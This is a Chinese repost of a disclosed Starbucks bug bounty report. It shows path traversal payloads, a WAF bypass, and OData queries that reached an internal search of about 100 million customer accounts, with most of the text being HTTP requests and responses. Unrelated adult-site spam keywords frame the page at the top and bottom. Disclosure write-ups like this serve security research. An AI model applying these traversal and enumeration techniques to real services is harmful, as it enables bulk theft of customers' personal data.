成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

漏洞報告:“入侵”星巴克并訪問1億客戶記錄

安全 漏洞
Sam花了一整天的嘗試,仍然沒有在Verizon Media漏洞賞金計劃中有所收獲,于是,他決定先退出做一些其他事情。他上網準備訂購星巴克的禮品卡,作為朋友的生日禮物。

Sam花了一整天的嘗試,仍然沒有在Verizon Media漏洞賞金計劃中有所收獲,于是,他決定先退出做一些其他事情。他上網準備訂購星巴克的禮品卡,作為朋友的生日禮物。

[[330909]]

當sam在星巴克官網上試圖購買時,他發現了API調用的可疑之處:在以“ / bff / proxy /”為前綴的API下發送了一些請求,但這些請求返回的數據似乎來自另一臺主機。

正好,由于星巴克有一個漏洞賞金計劃,于是,繼續研究下去吧。

以下是返回sam的用戶信息的其中之一的API調用示例:

  1. POST /bff/proxy/orchestra/get-user HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5.  
  6.   "data": { 
  7.  
  8.     "user": { 
  9.  
  10.       "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F", 
  11.  
  12.       "firstName": "Sam", 
  13.  
  14.       "lastName": "Curry", 
  15.  
  16.       "email": "samwcurry@gmail.com", 
  17.  
  18.       "partnerNumber": null, 
  19.  
  20.       "birthDay": null, 
  21.  
  22.       "birthMonth": null, 
  23.  
  24.       "loyaltyProgram": null 
  25.  
  26.     } 
  27.  
  28.   } 
  29.  

在上面的示例中,“ app.starbucks.com”主機將無法訪問通過特定端點訪問的數據,但可以充當假設的第二個主機的代理或中間人,“internal.starbucks.com”。

這里要考慮的一些有趣的事情是……

  • 我們如何測試應用程序的路由?
  • 如果應用程序將請求路由到內部主機,則權限模型是什么樣的?
  • 我們可以控制發送到內部主機的請求中的路徑或參數嗎?
  • 內部主機上是否有開放重定向,如果有,應用程序將遵循開放重定向嗎?
  • 返回的內容是否必須匹配適當的類型(是否解析JSON,XML或任何其他數據?)

Sam做的第一件事是嘗試遍歷API調用,以便可以加載其他路徑,而執行此操作的方式是發送以下負載:

  1. /bff/proxy/orchestra/get-user/..%2f 
  2.  
  3. /bff/proxy/orchestra/get-user/..;/ 
  4.  
  5. /bff/proxy/orchestra/get-user/../ 
  6.  
  7. /bff/proxy/orchestra/get-user/..%00/ 
  8.  
  9. /bff/proxy/orchestra/get-user/..%0d/ 
  10.  
  11. /bff/proxy/orchestra/get-user/..%5c 
  12.  
  13. /bff/proxy/orchestra/get-user/..\ 
  14.  
  15. /bff/proxy/orchestra/get-user/..%ff/ 
  16.  
  17. /bff/proxy/orchestra/get-user/%2e%2e%2f 
  18.  
  19. /bff/proxy/orchestra/get-user/.%2e/ 
  20.  
  21. /bff/proxy/orchestra/get-user/%3f (?) 
  22.  
  23. /bff/proxy/orchestra/get-user/%26 (&) 
  24.  
  25. /bff/proxy/orchestra/get-user/%23 (#) 

可惜的是,這些都不起作用。它們都返回了我通常會看到的相同的404頁面……

在這種情況下,我們可以將“ / bff / proxy / orchestra / get-user”視為我們正在調用的未包含用戶輸入的函數。同時,我們有機會找到一個確實接受用戶輸入的函數,例如“ / bff / proxy / users /:id”,在這里我們有足夠的空間測試它將接受的數據。如果我們發現這樣的API調用,那么嘗試遍歷有效負載并發送其他數據(實際上是在用戶輸入中接收)可能會更有幫助。

Sam仔細留意這個App,發現了更多的API調用。而他發現的接受用戶輸入的第一個信息是:

  1. GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1  
  2. Host: app.starbucks.com 

這個端點不同于“get user”端點,因為最后一個路徑作為參數存在,在其中提供了任意輸入。如果將此輸入作為內部系統上的路徑處理,那么完全可能遍歷它并訪問其他內部端點。

幸運的是,sam嘗試的第一個測試返回了一個非常好的指標,表明可以遍歷端點:

  1. GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5.  
  6.   "errors": [ 
  7.  
  8.     { 
  9.  
  10.       "message": "Not Found", 
  11.  
  12.       "errorCode": 404, 
  13.  
  14.       ... 

這個JSON響應與“ / bff / proxy”下所有其他常規API調用的JSON響應相同。這表明sam正在使用內部系統,并且已經成功地修改了正在與之交談的路徑。下一步將是映射內部系統,而做到這一點的最佳方法將是通過標識返回“ 400錯誤請求”的第一條路徑遍歷到根。

但很快,sam遇到了一個障礙。有一個WAF讓他不能深入兩個目錄:

  1. GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. HTTP/1.1 403 Forbidden 
  6.  
  7. 不過,這個WAF很弱…… 
  8.  
  9. GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1 
  10.  
  11. Host: app.starbucks.com 
  12.  
  13.  
  14.   "errors": [ 
  15.  
  16.     { 
  17.  
  18.       "message": "Not Found", 
  19.  
  20.       "errorCode": 404, 
  21.  
  22.       ... 

最終,在返回7條路徑后,sam收到了以下錯誤:

  1. GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5.  
  6.   "errors": [ 
  7.  
  8.     { 
  9.  
  10.       "message": "Bad Request", 
  11.  
  12.       "errorCode": 400, 
  13.  
  14.       ... 

這意味著內部API的根是6個返回路徑,可以使用目錄暴力破解工具或Burp Suite的入侵者和單詞列表將其映射出來。

此時,sam對這個漏洞更加感興趣了,他和Justin Gardner進行了探討。

而Justin Gardner幾乎立即在內部系統的根目錄下識別出許多路徑,方法是觀察到對這些路徑的HTTP請求,之后如果沒有正斜杠,就會使用Burp的入侵者返回重定向代碼:

  1. GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5. HTTP/1.1 301 Moved Permanently 
  6.  
  7. Server: nginx 
  8.  
  9. Content-Type: text/html 
  10.  
  11. Content-Length: 162 
  12.  
  13. Location: /search/ 

Justin致力于尋找所有端點時,sam開始逐一研究每個目錄。運行完自己的掃描后,sam發現“搜索”下有“v1”,而“v1”下有“賬戶”和“地址”。

于是,他給Justin發了一條消息,想想如果“ / search / v1 / accounts”端點是對所有生產帳戶的搜索,那將是多么有趣……

而事實,果然如此。“ / search / v1 / accounts”可以訪問所有星巴克帳戶的Microsoft Graph實例。

  1. GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5.  
  6.   "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", 
  7.  
  8.   "value": [ 
  9.  
  10.     { 
  11.  
  12.       "Id": 1, 
  13.  
  14.       "ExternalId": "12345", 
  15.  
  16.       "UserName": "UserName", 
  17.  
  18.       "FirstName": "FirstName", 
  19.  
  20.       "LastName": "LastName", 
  21.  
  22.       "EmailAddress": "0640DE@example.com", 
  23.  
  24.       "Submarket": "US", 
  25.  
  26.       "PartnerNumber": null, 
  27.  
  28.       "RegistrationDate": "1900-01-01T00:00:00Z", 
  29.  
  30.       "RegistrationSource": "iOSApp", 
  31.  
  32.       "LastUpdated": "2017-06-01T15:32:56.4925207Z" 
  33.  
  34.     }, 
  35.  
  36. ... 
  37.  
  38. lots of production accounts 

此外,“地址”端點返回了類似的信息……

  1. GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5.  
  6.   "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses", 
  7.  
  8.   "value": [ 
  9.  
  10.     { 
  11.  
  12.       "Id": 1, 
  13.  
  14.       "AccountId": 1, 
  15.  
  16.       "AddressType": "3", 
  17.  
  18.       "AddressLine1": null, 
  19.  
  20.       "AddressLine2": null, 
  21.  
  22.       "AddressLine3": null, 
  23.  
  24.       "City": null, 
  25.  
  26.       "PostalCode": null, 
  27.  
  28.       "Country": null, 
  29.  
  30.       "CountrySubdivision": null, 
  31.  
  32.       "FirstName": null, 
  33.  
  34.       "LastName": null, 
  35.  
  36.       "PhoneNumber": null 
  37.  
  38.     }, 
  39.  
  40. ... 
  41.  
  42. lots of production addresses 

它是為生產帳戶和地址提供的服務。隨后,sam開始進一步探索該服務,以使用Microsoft Graph功能進行確認。

  1. GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$count=true 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5.  
  6.   "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", 
  7.  
  8.   "@odata.count":99356059 
  9.  

通過從Microsoft Graph URL添加“ $ count”參數,可以確定該服務具有近1億條記錄。攻擊者可以通過添加“ $ skip”和“ $ count”之類的參數枚舉所有用戶帳戶來竊取此數據。

此外,要查明特定的用戶帳戶,攻擊者可以使用“ $ filter”參數:

  1. GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1 
  2.  
  3. Host: app.starbucks.com 
  4.  
  5.  
  6.   "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", 
  7.  
  8.   "value": [ 
  9.  
  10.     { 
  11.  
  12.       "Id": 81763022, 
  13.  
  14.       "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354", 
  15.  
  16.       "UserName": "redacted@gmail.com", 
  17.  
  18.       "FirstName": "Justin", 
  19.  
  20.       "LastName": "Gardner", 
  21.  
  22.       "EmailAddress": "redacted@gmail.com", 
  23.  
  24.       "Submarket": "US", 
  25.  
  26.       "PartnerNumber": null, 
  27.  
  28.       "RegistrationDate": "2018-05-19T18:52:15.0763564Z", 
  29.  
  30.       "RegistrationSource": "Android", 
  31.  
  32.       "LastUpdated": "2020-05-16T23:28:39.3426069Z" 
  33.  
  34.     } 
  35.  
  36.   ] 
  37.  

最后,sam還發現的其他一些端點,可能(尚未確認)使攻擊者能夠訪問和修改帳單地址、禮品卡、獎勵和優惠等內容。

  1. barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver 

時間線

  • 5月16日報道
  • 5月17日補丁
  • 5月19日頒發賞金(4000美元)
  • 6月16日公開

參考鏈接:https://samcurry.net/hacking-starbucks/

 

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2015-09-20 21:02:36

2020-11-05 08:20:01

星巴克官網漏洞web安全

2013-05-24 09:18:47

游戲設計

2024-11-27 15:45:28

2015-08-14 13:43:43

2012-06-25 15:39:12

云計算案例

2021-03-29 15:44:21

數據管理

2012-01-10 10:36:48

云計算

2012-02-22 16:32:42

星巴克WifiUC瀏覽器

2012-03-31 10:03:41

WiFi

2019-06-25 08:28:06

區塊鏈供應鏈沃爾瑪

2011-12-06 20:52:03

移動支付

2010-09-02 12:30:40

2021-11-18 11:45:54

Stripchat漏洞信息泄露

2017-09-25 14:47:11

支付寶微信Apple Pay

2021-04-14 14:12:20

WRECK漏洞IoT設備

2010-06-12 09:48:17

2009-11-11 10:35:04

2021-04-18 09:41:48

WRECK DNS漏洞NAME

2015-06-25 13:01:28

大數據星巴克海底撈
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 精品一区二区三区在线播放 | 国产精品久久久久久久久久尿 | 免费一级毛片 | 五月婷婷激情 | 狠狠做六月爱婷婷综合aⅴ 国产精品视频网 | 久久久久久99 | 亚洲第一中文字幕 | 91爱爱·com | 电影91久久久 | 先锋资源网站 | 一区二区三区四区电影 | 激情av网站| 国内精品视频 | 在线91| caoporn视频 | 精品久久久久久久久久久久久久 | 国产色网站| 国产观看 | 欧美日韩一区二区三区四区五区 | 欧美精品一级 | 国产一级视频在线观看 | 黄色一级电影在线观看 | 国产成人精品免高潮在线观看 | 久久精品免费 | 日韩亚洲视频 | 久久青青 | 精品毛片 | 午夜影院操| 91精品国产一区二区三区香蕉 | 欧美成人一区二区 | 日韩一区二区成人 | 97精品国产97久久久久久免费 | 久久精品国产一区二区三区不卡 | 一级免费毛片 | ww亚洲ww亚在线观看 | 亚洲精品久久久久久国产精华液 | 免费在线观看一区二区 | 天天干天天插天天 | 色网在线观看 | 91亚洲国产成人久久精品网站 | 午夜精品福利视频 |